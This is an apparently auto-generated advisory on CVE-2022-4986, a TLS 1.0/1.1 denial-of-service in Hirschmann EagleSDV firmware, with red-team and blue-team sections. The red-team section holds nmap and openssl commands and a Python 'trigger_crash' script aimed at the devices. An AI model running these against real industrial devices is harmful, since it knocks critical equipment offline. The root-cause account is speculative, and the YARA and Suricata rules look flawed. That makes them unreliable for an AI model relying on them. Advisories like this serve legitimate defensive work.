CVE-2022-4986

Executive Summary

CVE-2022-4986 is a denial-of-service (DoS) vulnerability affecting Hirschmann EagleSDV devices running version 05.4.01 and earlier. The flaw resides in the TLS handshake process, specifically when the device attempts to negotiate TLS 1.0 or TLS 1.1 connections. An unauthenticated, remote attacker can exploit this by initiating a TLS connection using these deprecated protocol versions, causing the device to crash and become unavailable. This disrupts critical industrial control and network services. The vulnerability has a CVSS score of 7.5 (High) and currently has no known public exploit code or active exploitation in the wild (EPSS 0.0%). The vendor has released a fix in version 05.4.02.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device firmware from Hirschmann, a Belden brand. The risk is primarily to operational technology (OT) environments where these devices are deployed.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) - No data breach.
• Integrity (I): None (N) - No data modification.
• Availability (A): High (H) - Complete loss of service availability.

Threat Level: High. The low attack complexity and network-based vector make this a significant risk for unpatched devices in exposed networks.

Deep Dive & Mechanics

The vulnerability is a classic resource exhaustion (CWE-400) issue. The Hirschmann EagleSDV device's TLS stack does not properly handle the negotiation of deprecated TLS protocol versions (1.0 and 1.1). When a client initiates a TLS handshake and offers only TLS 1.0 or 1.1 as the highest supported version, the device's firmware enters an error state during the handshake process. This error is not gracefully handled, leading to a crash of the main process or kernel panic, effectively rendering the device inoperable until a manual power cycle or hardware reset.

The root cause is likely a missing or incorrect bounds check or state machine transition in the TLS library used by the firmware. The device is designed to support TLS 1.2, but the legacy protocol handlers for 1.0 and 1.1 contain a bug that causes a null pointer dereference, infinite loop, or memory corruption when the handshake fails.

Vulnerable vs. Patched Code

Since this is a proprietary firmware, exact code diffs are not publicly available. However, the fix in version 05.4.02 likely involves one of the following:

• Vulnerable (05.4.01): The TLS handshake handler accepts connections offering TLS 1.0/1.1 and attempts to process them using a flawed code path that leads to a crash.
• Patched (05.4.02): The TLS handshake handler either:
  • Rejects TLS 1.0/1.1 connections outright with a proper alert message.
  • Gracefully downgrades to a supported version (TLS 1.2) if the client supports it.
  • Correctly handles the error state without crashing.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Hirschmann EagleSDV device (firmware 05.4.01).
• Network access to the device's management interface (typically port 443 or 8443 for HTTPS).
• A tool capable of initiating TLS connections with specific protocol versions (e.g., openssl s_client, nmap, or a custom Python script).

Exploitation Steps:

1. Identify Target: Scan for Hirschmann devices on the network.

   nmap -p 443,8443 --script ssl-enum-ciphers <target_ip>
   

2. Trigger the Crash: Use openssl to force a TLS 1.0 or TLS 1.1 connection.

   # Force TLS 1.0
   openssl s_client -connect <target_ip>:443 -tls1
   
   # Force TLS 1.1
   openssl s_client -connect <target_ip>:443 -tls1_1
   

3. Verify Denial of Service: After sending the malicious handshake, the device should become unresponsive. Attempt to reconnect or ping the device.

   ping <target_ip>
   # Expected: No reply or "Destination Host Unreachable"
   

Automated Exploit (Python):

import socket
import ssl

def trigger_crash(target_ip, port=443):
    """Attempts to crash a Hirschmann EagleSDV device by initiating a TLS 1.0 connection."""
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.minimum_version = ssl.TLSVersion.TLSv1
    context.maximum_version = ssl.TLSVersion.TLSv1
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    try:
        with socket.create_connection((target_ip, port), timeout=5) as sock:
            with context.wrap_socket(sock, server_hostname=target_ip) as ssock:
                print(f"[+] TLS 1.0 handshake initiated to {target_ip}:{port}")
                # The crash occurs during the handshake, so we don't need to send data.
    except Exception as e:
        print(f"[-] Connection failed: {e}")

if __name__ == "__main__":
    target = "192.168.1.100"
    trigger_crash(target)

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Monitor for TLS handshake attempts using deprecated protocol versions (TLS 1.0, TLS 1.1) targeting Hirschmann devices.
2. Log Analysis: Check device logs for crash events or unexpected reboots. Look for patterns of repeated TLS handshake failures.
3. Honeypot: Deploy a decoy Hirschmann device to attract and detect scanning activity.
4. Mitigation: Immediately upgrade to firmware version 05.4.02 or later. If patching is not possible, restrict network access to the device using firewall rules (allow only trusted IPs).

Indicators of Compromise (IOCs)

• Network IOCs:
  • TLS Client Hello messages with supported_versions extension indicating only TLS 1.0 or TLS 1.1.
  • Sudden loss of connectivity to a Hirschmann device.
  • Device reboot logs or SNMP traps indicating an unexpected restart.
• Host IOCs:
  • Crash dump files on the device (if accessible).
  • System log entries showing "TLS handshake failed" or "kernel panic" around the time of the attack.

Detection Engineering

YARA Rule

rule CVE_2022_4986_Hirschmann_TLS_DoS {
    meta:
        description = "Detects network traffic attempting to exploit CVE-2022-4986 by initiating TLS 1.0 or 1.1 handshakes"
        author = "Valters IT"
        date = "2024-05-24"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-4986"
        hash = "unknown"
    strings:
        $tls10_client_hello = { 16 03 01 }  // TLS 1.0 Record Layer
        $tls11_client_hello = { 16 03 02 }  // TLS 1.1 Record Layer
        $hirschmann_oui = { 00 60 35 }      // Hirschmann OUI (example)
    condition:
        $tls10_client_hello or $tls11_client_hello
}

Sigma Rule

title: CVE-2022-4986 Hirschmann EagleSDV TLS DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects TLS 1.0 or TLS 1.1 handshake attempts targeting Hirschmann devices, indicating a potential DoS exploitation attempt.
author: Valters IT
date: 2024/05/24
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4986
logsource:
    category: network_connection
    product: zeek
    service: ssl
detection:
    selection:
        server_name|contains: 
            - 'hirschmann'
            - 'eaglesdv'
        version:
            - 'TLSv10'
            - 'TLSv11'
    condition: selection
falsepositives:
    - Legitimate legacy clients using TLS 1.0/1.1 (rare in modern OT environments)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 443,8443 (msg:"CVE-2022-4986 Hirschmann EagleSDV TLS DoS Attempt"; flow:to_server,established; content:"|16 03 01|"; depth:3; content:"|16 03 02|"; depth:3; reference:cve,2022-4986; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade all Hirschmann EagleSDV devices to firmware version 05.4.02 or later.
2. Network Segmentation: Place Hirschmann devices behind a firewall and restrict access to only trusted management stations.
3. Disable Legacy TLS: If the device configuration allows, disable TLS 1.0 and TLS 1.1 support entirely.
4. Monitor: Implement the detection rules above to identify any exploitation attempts.
5. Incident Response: If a crash is detected, isolate the device, collect logs, and apply the patch before reconnecting.

Report generated by Valters IT DevSecOps & CTI Expert System

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